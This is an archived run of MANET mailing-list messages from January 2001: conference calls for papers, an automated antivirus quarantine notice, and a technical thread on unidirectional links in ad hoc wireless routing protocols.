daemon@localhost) by csunb0.leeds.ac.uk (8.6.12/8.6.12) id MAA14912; Wed, 3 Jan 2001 12:00:47 GMT Received: from csun-gps.scs.leeds.ac.uk (csun-gps.leeds.ac.uk [129.11.144.4]) by csunb0.leeds.ac.uk (8.6.12/8.6.12) with ESMTP id MAA14882; Wed, 3 Jan 2001 12:00:45 GMT Received: from localhost by csun-gps.scs.leeds.ac.uk; Wed, 3 Jan 2001 12:00:45 GMT Date: Wed, 3 Jan 2001 12:00:45 +0000 (GMT) From: K Djemame X-Sender: karim@csun-gps To: tccc@ieee.org, comswtc@ieee.org, tcgn@ieee.org, itc@ieee.org, spects01@comp.leeds.ac.uk, spects02@comp.leeds.ac.uk, news-announce-conferences@uunet.uu.net, end2end-interest@isi.edu, int-serv@isi.edu, info-confs@comsoc.org, cost264@lip6.fr, conf@colmar.uha.fr, conferences@iao.fhg.de, cfp@mmlab.snu.ac.kr, rm@mash.cs.berkeley.edu, enternet@BBN.COM cc: obaidat@monmouth.edu, franco@dist.unige.it Subject: SPECTS'2001 - Call for papers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Dear Colleague, Please find attached the SPECTS'2001 Call for Papers. We apologise in advance if you receive multiple copies. Regards, Karim Djemame University of Leeds, UK ========================================================= Call For Papers 2001 International Symposium on Performance Evaluation of Computer and Telecommunication Systems SPECTS 2001 http//www.scs.org/confernc/spects01/spects01cfp.html July 15-19, 2001 Orlando, Florida, USA This annual international conference is a forum for professionals involved in performance evaluation of computer and telecommunication systems. Evaluation of computer systems and networks is needed at every stage in the life cycle of the product including design, manufacturing, sales/purchase, use, upgrade, tuning, etc. The discipline of performance evaluation has progressed rapidly in the past decade, and it has now begun to approach maturity. Significant progress has been made in analytic modeling, simulation, and measurement approaches for performance evaluation of computer and telecommunication systems. Topics of interest include, but are not limited to: Networking and Telecommunication Systems - Internet Technology - Quality of Service (QoS) - DiffServ/IntServ - TCP - Unicast and Multicast Routing - High-Speed Networking - ATM - Optical Networks - Switching Techniques - Teletraffic - Satellite Systems and Networks - Wireless Systems - UMTS/IMT-2000 - Mobile Networks/Computing - Multimedia Systems - Multimedia Communications - Adaptive Communications - Network Protocols - Network Management and Control - Service and QoS Pricing - Security and Authentication - World Wide Web (WWW) Technology - Electronic Commerce Computer Systems - Client/Server - Microprocessors/Microcomputers - Memory Systems - Interconnection Networks - Software Performance - Software Evaluation and Testing - Hardware and Software Monitors - High-Performance Computing - Workload and Traffic Characterization - Scientific Computing Algorithms - High Performance I/O - Reconfigurable Computing - Parallel and Distributed Computing - Distributed Systems and Agents - Massively Parallel Systems - Cluster Computing - Parallel Algorithms and Languages - Scheduling Schemes Tools, Methodologies and Applications - Parallel and Distributed Simulation - Verification and Validation - Performance Tools and Methodologies - Neural Networks and Fuzzy Logic Applications to High Performance Computing/Networking - Performance Optimization - Queueing Systems and Networks - Scalability Studies - Integrated Modeling and Measurement - On-Line Performance Adaptation and Tuning - Process Algebra-Based Models - Performance Bounds - Integrated Design and Performance - New Performance Models - Mathematical Aspects of Performance - New Performability Schemes and Models - Case Studies General Chair Mohammad S. Obaidat Dept. of Computer Science, Monmouth University W. Long Branch, NJ 07764, USA Tel +1-732-571-4482 Fax +1-732-263-5202 E-mail: obaidat@monmouth.edu Program Chair Franco Davoli DIST-University of Genoa Via Opera Pia 13, I-16145 Genoa, Italy Tel +39-010-353-2732 Fax +39-010-353-2154 E-Mail: franco@dist.unige.it Vice Program Chairs Ibrahim Onyuksel Dept. of Computer Sciences, N. Illinois Univ., USA E-mail: onyuksel@cs.niu.edu Raffaele Bolla DIST-University of Genoa Via Opera Pia 13, I-16145 Genoa, Italy E-mail: lelus@dist.unige.it Industrial Track Chair J. Fox, BT Laboratories, UK E-mail: fox.ijcs@btinternet.com Technical Program Committee J. Agrawal, University of Missouri-K.C., USA M. Ajmone Marsan, Politecnico di Torino, Italy I. Akyildiz, Georgia Tech, USA H. van As, Vienna University of Technology, Austria L. G. Birta, University of Ottawa, Canada N. Boudriga, University of Tunis, Tunisia H. Cam, University of Arkansas, USA A. Campbell, Columbia University, USA H. Diab, American Univ. of Beirut, Lebanon G. Fodor, Ericsson Radio Systems, Sweden L. Fratta, Politecnico di Milano, Italy A. Ganz, University of Massachusetts, USA E. Gelenbe, University of Central Florida, USA M. Gerla, UCLA, USA W. Hahn, University of Passau, Germany O. Hammami, ENSTA, France J. Harju, Tampere Univ. of Technology, Finland H. Hughes, Michigan State University, USA A. Jajszczyk, Cracow Univ. of Mining/Metallurgy, Poland H. Karatza, Aristotle University, Greece D. Kazakos, University of Louisiana, USA G. Karlsson, KTH, Sweden U. Killat, TU Hamburg-Harburg, Germany B. Kraimeche, Steven Institute of Technology, USA K. Kwiat, Air Force Research Laboratory, USA T. G. Kim, KAIST, Korea P. J. Kuehn, University of Stuttgart, Germany D. C. Lee, USC, USA A. Lehmann, Univ. der Bundeswehr Muenchen, Germany L. Lenzini, University of Pisa, Italy M. T. Liu, Ohio State University, USA I. Mahgoub, Florida Atlantic University, USA K. Makki, University of Southwestern Louisiana, USA S. Makki, RMIT, Australia K. Malinowski, Warsaw Technical University, Poland X. Meng, University of Texas - Pan American, USA H. Mouftah, Queen's University, Canada F. Neri, Politecnico di Torino, Italy G. Pacifici, IBM, USA S. Palazzo, University of Catania, Italy G. Papadimitriou, Aristotle University, Greece A. Pattavina, Politecnico di Milano, Italy K. Pawlikowski, University of Canterbury, New Zealand S. Pink, Arizona State University, USA G. Polyzos, AUEB, Greece R. Puigjaner, Universitat de les Illes Balears, Spain V. Lagrange M. Reis, Compaq Computers Corp., USA G. P. Rossi, Universita` di Milano, Italy I. Rubin, UCLA, USA D. Schilling, CUNY, USA C. T. Spracklen, Aberdeen University, UK T. Suda, UCI, USA P. Tran-Gia, University of Wuerzburg, Germany I. Toda, Fujutsu Laboratories Ltd., Japan K. S. Vastola, Rensselaer Polytechnic Institute, USA M. Veeraraghavan, Polytechnic University, USA M. Villen Altamirano, Telefonica, Spain International Liaisons B. Sadoun, Al-Balqa' Applied University, Jordan Bsadoun@go.com.jo M. Sawan, Montreal Poly, Canada Sawan@vlsi.polymtl.ca N. Tchamov, Tampere Univ. of Technology, Finland Nikolay@cs.tut.fi Hiedeki Tode, Osaka Univ., Japan Tode@ise.eng.osaka-u.ac.jp Industry Liaisons Wai Sum lai, AT&T, NJ, USA E-mail: wlai@att.com Barani Subbiah, 3Com, USA E-mail: Barani_Subbiah@3com.com Publicity Committee R. Khasawneh, Depaul University, USA. rkhasawneh@cs.depaul.edu K. Djemame, University of Leeds, UK. karim@scs.leeds.ac.uk H. Choi, ETRI, Korea, hchoi@pec.etri.re.kr W. Hahn, University of Passau, Germany, hahn@fmi.uni-passau.de A. Nusseirat, Al-Isra University, Jordan, anuseirat@firstnet.com.jo Paper Submission Submit your complete papers electronically in pdf format to: http://spects2001.proceedingscentral.com All required instructions will be posted on this web site. Submissions should not exceed 25 double-spaced, 8.5x11 inch pages (including figures, tables, and references) in 10-12 point font. Include five to ten keywords, complete postal and e-mail addresses, and fax and phone numbers of corresponding author. If you have difficulty in electronic submission, contact the Program Chair or the Conference Coordinator, Mr. Steve Branch, The Society for Computer Simulation International, 4838 Ronson Court, Suite L, San Diego, CA 92111, USA, Tel 858-277-3888, Fax 858-277-3930, E-mail sbranch@scs.org sbranch@scs.org. Extended versions of accepted papers in SPECTS 2001 will be considered for possible publication in scholarly journals. Proposals for tutorials, special and panel sessions should be sent to any of the Conference Vice Program Chairs. Proposals for industrial sessions should be submitted to the Industrial Track Chair or any of the industry liaisons. For more information regarding presentations or exhibitions at SPECTS 2001 contact: Mr. Steve Branch at the address shown above. Deadlines Submission of Papers - January 31, 2001 Notification of Acceptance - April 22, 2000 Final Camera-Ready Submission - May 22, 2000 Sponsored by The Society for Computer Simulation International. Professor Mohammad S. Obaidat -- From owner-manet@itd.nrl.navy.mil Wed Jan 3 09:22:50 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22816 for ; Wed, 3 Jan 2001 09:22:50 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA00362 for manet-outgoing; Wed, 3 Jan 2001 06:59:01 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA00357 for ; Wed, 3 Jan 2001 06:58:59 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA23525; Wed, 3 Jan 2001 06:58:59 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA05047; Wed, 3 Jan 2001 06:58:59 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 06:58:55 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD66@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 06:58:55 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Thu Jan 4 11:19:44 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA08901 for ; Thu, 4 Jan 2001 11:19:44 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA04714 for manet-outgoing; Thu, 4 Jan 2001 09:49:13 -0500 (EST) Received: from nez-perce.inria.fr (nez-perce.inria.fr [192.93.2.78]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id JAA04707 for ; Thu, 4 Jan 2001 09:49:11 -0500 (EST) From: jacquet@menetou.inria.fr Received: from prisse (prisse.inria.fr [128.93.9.64]) by nez-perce.inria.fr (8.11.1/8.10.0) with SMTP id f04En6T17239; Thu, 4 Jan 2001 15:49:06 +0100 (MET) Message-Id: <3.0.1.32.20010104155550.0212e2b0@menetou.inria.fr> X-Sender: jacquet@menetou.inria.fr X-Mailer: Windows Eudora Pro Version 3.0.1 (32) [F] Date: Thu, 04 Jan 2001 15:55:50 +0100 To: "Li Li" , "Manet List" Subject: Re: uni-directional links discussions in DSR draft In-Reply-To: <001d01c06bd5$32489ec0$5cc8fd80@lilihome> References: <3A3E23D2.502796B0@cis.upenn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id JAA04710 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by itd.nrl.navy.mil id JAA04714 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA08901 Happy millenium for everybody! It is not clear whether the question is: Which protocols function correctly with bi_D links but may not function correctly in presence of uni_D links? for example, AODV, DSR, if some amendments are not introduced. or: Which protocols function correctly in presence of uni_D links but route only on bi_D links? for example FSR, OLSR, TBRPF... Added to this issue there is also the issue about the link layer which is in general bi-D link oriented like in IEEE802.11, Hiperlan, Bluetooth. In this case routing on bi-D links is mandatory. I don't know uni_D link oriented MAC but in this case the link control is either unreliable or very complicated. I think DSR has something very complicated in case of uni_D, and some feature of route caching would probably need to be disabled. In presence of some uni_D links together with a bi_D MAC there are also serious sources of flaws. Philippe A 00:08 22/12/00 -0500, Li Li a écrit : >In the DSR draft, it says "Although many routing protocols operate correctly >only over bi-directional links, DSR can successfully discover and forward >packets over paths that contain uni-directional links." > >I am interested to know which routing protocols do not work correctly over >uni-directional links. > >For DSR to take advantage of uni-directional links (assume a compatible >MAC), DSR requires the route request destination do a seperate route >discovery. Route caching has to be careful to distinguish uni-directional >and bidirectional links. Are these the complete picture for DSR to factor in >uni-directional links? > >Thanks, > >Li > From owner-manet@itd.nrl.navy.mil Thu Jan 4 11:21:41 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA09075 for ; Thu, 4 Jan 2001 11:21:39 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA04323 for manet-outgoing; Thu, 4 Jan 2001 09:39:29 -0500 (EST) Received: from csunb0.leeds.ac.uk (csunb0.leeds.ac.uk [129.11.144.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id JAA04315 for ; Thu, 4 Jan 2001 09:39:27 -0500 (EST) Received: (from daemon@localhost) by csunb0.leeds.ac.uk (8.6.12/8.6.12) id OAA18224; Thu, 4 Jan 2001 14:23:30 GMT Received: from tounes.gw.tn (tounes.gw.tn [193.95.50.118]) by csunb0.leeds.ac.uk (8.6.12/8.6.12) with ESMTP id OAA18083; Thu, 4 Jan 2001 14:17:33 GMT Received: from tounes.ati.tn (tounes-22.ati.tn [193.95.66.22]) by tounes.tngw.tn (8.9.3/8.8.8) with ESMTP id PAA12410; Thu, 4 Jan 2001 15:14:39 -0100 (GMT) Received: from erpah ([193.95.32.112]) by email.rnu.tn (8.8.8/8.8.8) with SMTP id DAA17611; Thu, 4 Jan 2001 03:34:12 +0100 From: "Mourad Elloumi" To: , , , , , , , , , , , , , , , , , , , , , , , , , , Subject: METMBS'2001/Call for Papers Date: Sun, 4 Jun 2000 14:04:20 +0100 Message-Id: <01bfce25$65ff1170$1403a8c0@erpah.cck.rnu.tn.> MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit CALL FOR PAPERS Knowledge Discovery and Data Mining in Biological Databases Technical Session of The 2001 International Conference on Mathematics and Engineering Techniques in Medicine and Biological Sciences (METMBS'2001) Monte Carlo Resort, Las Vegas, Nevada, USA June 25-28, 2001 http://www.univ-pau.fr/dataweb/conf/metmbs.html With the development of Molecular Biology in last decades, biological databases are growing rapidly in volume, number and complexity. On the other hand, these databases are highly heterogeneous and geographically dispersed. They represent data from a highly complex domain. A huge volume of biological data is then available for the discovery and extraction of knowledge, e.g., new concepts, concept relationships and pertinent patterns, hidden in these databases. Knowledge Discovery in Databases (KDD) is an emerging field that deals with such issues. In this field, we combine techniques from Databases Management, Statistics and Artificial Intelligence, to discover and extract knowledge from databases. Data mining is one of the pre-processing steps in KDD process, it is the application of specific tools for the discovery and extraction of pertinent patterns. Numerous tools suitable for data mining in Biology are available, however the selection of an ad hoc tool is non-trivial. Applied in Molecular Biology, the KDD process should provide for the selection of the appropriate data mining methods by taking into account both the characteristics of the biological data and general KDD process requirements. In our session, we are interested in papers that deal with issues of knowledge discovery in biological databases, and issues of biological data mining. We are also interested in papers that deal with the application of data mining and KDD techniques in biological databases. Contributions are subject to a possible publication in a special issue of the "Knowledge Based Systems" Journal (Elsevier Science Amsterdam, Holland). INSTRUCTIONS TO AUTHORS You are invited to submit a hardcopy or a pdf version of a draft paper, about 4 to 5 pages including figures and references, before March 1, 2001 to the Technical Session Chair : Dr. Mourad Elloumi, Mailing Address: Cite Intilak bloc 6, app. 7, El Menzah 6, 2091 Tunis, Tunisia. Phone: (216 1) 233 253 Fax: (216 1) 871 032 E.Mail: Mourad.Elloumi@fsegt.rnu.tn IMPORTANT DATES March 1, 2001 (Thursday): Draft papers (about 4 to 5 pages) due April 2, 2001 (Monday): Notification of acceptance May 1, 2001 (Tuesday): Camera-Ready papers & Prereg. due June 25 - 28, 2001: METMBS'2001 Conference From owner-manet@itd.nrl.navy.mil Thu Jan 4 12:57:45 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA11397 for ; Thu, 4 Jan 2001 12:57:44 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA08071 for manet-outgoing; Thu, 4 Jan 2001 11:08:19 -0500 (EST) Received: from cs.tamu.edu (clavin.cs.tamu.edu [128.194.130.106]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id LAA08063 for ; Thu, 4 Jan 2001 11:08:17 -0500 (EST) Received: from vinca.cs.tamu.edu (IDENT:2654@vinca [128.194.134.110]) by cs.tamu.edu (8.11.0/8.11.0) with ESMTP id f04G8IH22477 for ; Thu, 4 Jan 2001 10:08:18 -0600 (CST) Received: (from vaidya@localhost) by vinca.cs.tamu.edu (8.11.0/8.11.0) id f04G9sj17088 for manet@itd.nrl.navy.mil; Thu, 4 Jan 2001 10:09:54 -0600 (CST) Date: Thu, 4 Jan 2001 10:09:54 -0600 (CST) From: Nitin H Vaidya Message-Id: <200101041609.f04G9sj17088@vinca.cs.tamu.edu> To: manet@itd.nrl.navy.mil Subject: Re: uni-directional links Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk To add to Philippe's comments below, it may be hard to justify using unidirectional links except in some special circumstances. Using unidirectional links could be inefficient. Consider the network shown below: A -----> B ------ C (A,B) link is unidirectional and (B,C) link is bidirectional. In this case, it may be difficult for node A to defer to an on-going transmission from B to C (since A may not hear B due to unidirectional nature of AB link). Thus, A could try transmitting a packet to B, while B is busy forwarding the previous packet from A (or busy with some other transmission). So, there is a good probability that packets transmitted by A would not be received by B. Also, using unidirectional links can aggravate unfairness in accessing the wireless channel. Again consider the network above. Let us assume that both nodes A and C want to send packets to node B. Assume a MAC protocol similar to 802.11. In this case, when B is receiving packets from A, C can/will defer to that transmission, allowing the transmission to complete successfully. On the other hand, transmission from C to B will often fail due to interference from A (node A does not know to defer to the C->B transmission). This could result in a very unfair allocation of bandwidth to nodes A and C. Such unfairness can, in fact, occur even when we only use bi-directional links. However, using unidirectional links makes the problem worse. An issue closely related to unfairness is congestion control. When transmitting on unidirectional links, such as link (A,B), it might be hard to take into account the level of congestion at node B, making congestion control at the MAC layer less effective. I guess, in special cases, using unidirectional links may make sense, particularly when no other route is available (or, as in case of dedicated link, it may be known that the unidirectional link does not interfere with other transmissions, so issues of fairness/congestion may go away). As has been pointed out though, protocols that rely on bidirectional links should be provided some mechanism to determine which links are bidirectional. Cheerio. - nitin >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 09:19:43 2001 >> >> Happy millenium for everybody! >> >> It is not clear whether the question is: >> >> Which protocols function correctly with bi_D links but may not function >> correctly in presence of uni_D links? >> >> for example, AODV, DSR, if some amendments are not introduced. >> >> or: >> >> Which protocols function correctly in presence of uni_D links but route >> only on bi_D links? >> >> for example FSR, OLSR, TBRPF... >> >> Added to this issue there is also the issue about the link layer which is >> in general bi-D link oriented like in IEEE802.11, Hiperlan, Bluetooth. In >> this case routing on bi-D links is mandatory. I don't know uni_D link >> oriented MAC but in this case the link control is either unreliable or very >> complicated. >> I think DSR has something very complicated in case of uni_D, and some >> feature of route caching would probably need to be disabled. In presence of >> some uni_D links together with a bi_D MAC there are also serious sources of >> flaws. >> >> Philippe >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 13:59:03 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA13078 for ; Thu, 4 Jan 2001 13:59:02 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA11007 for manet-outgoing; Thu, 4 Jan 2001 12:21:40 -0500 (EST) Received: from smtpproxy1.mitre.org (mb-20-100.mitre.org [129.83.20.100]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA11002 for ; Thu, 4 Jan 2001 12:21:37 -0500 (EST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id MAA03026; Thu, 4 Jan 2001 12:21:28 -0500 (EST) Received: from MAILHUB1 (mailhub1.mitre.org [129.83.20.31]) by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id MAA20778; Thu, 4 Jan 2001 12:21:27 -0500 (EST) Received: from kb.mitre.org (129.83.36.141) by mailhub1.mitre.org with SMTP id 5245609; Thu, 04 Jan 2001 12:20:18 -0500 Message-ID: <3A54DA4E.4631DC13@mitre.org> Date: Thu, 04 Jan 2001 12:17:17 -0800 From: Kenneth Brayer Reply-To: kb@mitre.org Organization: The MITRE Corporation X-Mailer: Mozilla 4.75C-20000818M (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: Nitin H Vaidya CC: manet@itd.nrl.navy.mil Subject: Re: uni-directional links References: <200101041609.f04G9sj17088@vinca.cs.tamu.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit For the military application, which is my area of interest, it is very common (actually highly likely) that links will be unidirectional. The fact that A can hear B on an HF or UHF radio circuit does not mean that B can hear A on that circuit. So a path from A to B may be reversed by a path from B to C and one from C to A. Thus for military users protocols that work unidirectional are needed and those that work uni- and also bidirectional are considered to have extra value. Bidirectional only may be useless. Kenneth Brayer The MITRE Corporation/ Air Force Electronic Systems Center Bedford, MA Nitin H Vaidya wrote: > > To add to Philippe's comments below, it may be hard to justify > using unidirectional links except in some special circumstances. > > Using unidirectional links could be inefficient. Consider the > network shown below: > > A -----> B ------ C > > (A,B) link is unidirectional and (B,C) link is bidirectional. > In this case, it may be difficult for node A to defer to an on-going > transmission from B to C (since A may not hear B due to unidirectional > nature of AB link). Thus, A could try transmitting a packet to B, > while B is busy forwarding the previous packet from A (or busy with > some other transmission). > So, there is a good probability that packets transmitted by A > would not be received by B. > > Also, using unidirectional links can aggravate unfairness in > accessing the wireless channel. Again consider the network above. > > Let us assume that both nodes A and C want to send packets > to node B. Assume a MAC protocol similar to 802.11. > In this case, when B is receiving packets from A, C can/will > defer to that transmission, allowing the transmission to > complete successfully. On the other hand, transmission from > C to B will often fail due to interference from A (node A does > not know to defer to the C->B transmission). > This could result in a very unfair allocation of bandwidth to > nodes A and C. > > Such unfairness can, in fact, occur even when we only use > bi-directional links. However, using unidirectional links > makes the problem worse. > > An issue closely related to unfairness is congestion control. > When transmitting on unidirectional links, such as link (A,B), > it might be hard to take into account the level of congestion > at node B, making congestion control at the MAC layer less > effective. > > I guess, in special cases, using unidirectional links > may make sense, particularly when no other route is available > (or, as in case of dedicated link, it may be known that the > unidirectional link does not interfere with other transmissions, > so issues of fairness/congestion may go away). > > As has been pointed out though, protocols that rely on bidirectional > links should be provided some mechanism to determine which links are > bidirectional. > > Cheerio. > > - nitin > > >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 09:19:43 2001 > >> > >> Happy millenium for everybody! > >> > >> It is not clear whether the question is: > >> > >> Which protocols function correctly with bi_D links but may not function > >> correctly in presence of uni_D links? > >> > >> for example, AODV, DSR, if some amendments are not introduced. > >> > >> or: > >> > >> Which protocols function correctly in presence of uni_D links but route > >> only on bi_D links? > >> > >> for example FSR, OLSR, TBRPF... > >> > >> Added to this issue there is also the issue about the link layer which is > >> in general bi-D link oriented like in IEEE802.11, Hiperlan, Bluetooth. In > >> this case routing on bi-D links is mandatory. I don't know uni_D link > >> oriented MAC but in this case the link control is either unreliable or very > >> complicated. > >> I think DSR has something very complicated in case of uni_D, and some > >> feature of route caching would probably need to be disabled. In presence of > >> some uni_D links together with a bi_D MAC there are also serious sources of > >> flaws. > >> > >> Philippe > >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 14:07:54 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13270 for ; Thu, 4 Jan 2001 14:07:52 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA11735 for manet-outgoing; Thu, 4 Jan 2001 12:41:10 -0500 (EST) Received: from cs.tamu.edu (clavin.cs.tamu.edu [128.194.130.106]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA11729 for ; Thu, 4 Jan 2001 12:41:08 -0500 (EST) Received: from vinca.cs.tamu.edu (IDENT:2654@vinca [128.194.134.110]) by cs.tamu.edu (8.11.0/8.11.0) with ESMTP id f04Hf7H24944; Thu, 4 Jan 2001 11:41:07 -0600 (CST) Received: (from vaidya@localhost) by vinca.cs.tamu.edu (8.11.0/8.11.0) id f04HggY17333; Thu, 4 Jan 2001 11:42:42 -0600 (CST) Date: Thu, 4 Jan 2001 11:42:42 -0600 (CST) From: Nitin H Vaidya Message-Id: <200101041742.f04HggY17333@vinca.cs.tamu.edu> To: kb@mitre.org Subject: Re: uni-directional links Cc: manet@itd.nrl.navy.mil Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk >> From kb@mitre.org Thu Jan 4 11:21:37 2001 >> >> For the military application, which is my area of interest, it is very >> common (actually highly likely) that links will be unidirectional. The >> fact that A can hear B on an HF or UHF radio circuit does not mean that >> B can hear A on that circuit. So a path from A to B may be reversed by a >> path from B to C and one from C to A. Thus for military users protocols >> that work unidirectional are needed and those that work uni- and also >> bidirectional are considered to have extra value. Bidirectional only may >> be useless. I would agree with that ... when links are highly likley to be unidirectional, one may not have much choice but to somehow use them. I guess what may be best is a protocol that works with both uni- and bi-directional links, but uses bi-directional links preferentially. - nitin >> >> Kenneth Brayer >> The MITRE Corporation/ >> Air Force Electronic Systems Center >> Bedford, MA >> >> Nitin H Vaidya wrote: >> > >> > To add to Philippe's comments below, it may be hard to justify >> > using unidirectional links except in some special circumstances. >> > >> > Using unidirectional links could be inefficient. Consider the >> > network shown below: >> > >> > A -----> B ------ C >> > >> > (A,B) link is unidirectional and (B,C) link is bidirectional. >> > In this case, it may be difficult for node A to defer to an on-going >> > transmission from B to C (since A may not hear B due to unidirectional >> > nature of AB link). Thus, A could try transmitting a packet to B, >> > while B is busy forwarding the previous packet from A (or busy with >> > some other transmission). >> > So, there is a good probability that packets transmitted by A >> > would not be received by B. >> > >> > Also, using unidirectional links can aggravate unfairness in >> > accessing the wireless channel. Again consider the network above. >> > >> > Let us assume that both nodes A and C want to send packets >> > to node B. Assume a MAC protocol similar to 802.11. >> > In this case, when B is receiving packets from A, C can/will >> > defer to that transmission, allowing the transmission to >> > complete successfully. On the other hand, transmission from >> > C to B will often fail due to interference from A (node A does >> > not know to defer to the C->B transmission). >> > This could result in a very unfair allocation of bandwidth to >> > nodes A and C. >> > >> > Such unfairness can, in fact, occur even when we only use >> > bi-directional links. However, using unidirectional links >> > makes the problem worse. >> > >> > An issue closely related to unfairness is congestion control. >> > When transmitting on unidirectional links, such as link (A,B), >> > it might be hard to take into account the level of congestion >> > at node B, making congestion control at the MAC layer less >> > effective. >> > >> > I guess, in special cases, using unidirectional links >> > may make sense, particularly when no other route is available >> > (or, as in case of dedicated link, it may be known that the >> > unidirectional link does not interfere with other transmissions, >> > so issues of fairness/congestion may go away). >> > >> > As has been pointed out though, protocols that rely on bidirectional >> > links should be provided some mechanism to determine which links are >> > bidirectional. >> > >> > Cheerio. >> > >> > - nitin >> > >> > >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 09:19:43 2001 >> > >> >> > >> Happy millenium for everybody! >> > >> >> > >> It is not clear whether the question is: >> > >> >> > >> Which protocols function correctly with bi_D links but may not function >> > >> correctly in presence of uni_D links? >> > >> >> > >> for example, AODV, DSR, if some amendments are not introduced. >> > >> >> > >> or: >> > >> >> > >> Which protocols function correctly in presence of uni_D links but route >> > >> only on bi_D links? >> > >> >> > >> for example FSR, OLSR, TBRPF... >> > >> >> > >> Added to this issue there is also the issue about the link layer which is >> > >> in general bi-D link oriented like in IEEE802.11, Hiperlan, Bluetooth. In >> > >> this case routing on bi-D links is mandatory. I don't know uni_D link >> > >> oriented MAC but in this case the link control is either unreliable or very >> > >> complicated. >> > >> I think DSR has something very complicated in case of uni_D, and some >> > >> feature of route caching would probably need to be disabled. In presence of >> > >> some uni_D links together with a bi_D MAC there are also serious sources of >> > >> flaws. >> > >> >> > >> Philippe >> > >> >> >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 15:19:57 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA15190 for ; Thu, 4 Jan 2001 15:19:57 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id NAA14569 for manet-outgoing; Thu, 4 Jan 2001 13:50:38 -0500 (EST) Received: from smtpproxy1.mitre.org (mb-20-100.mitre.org 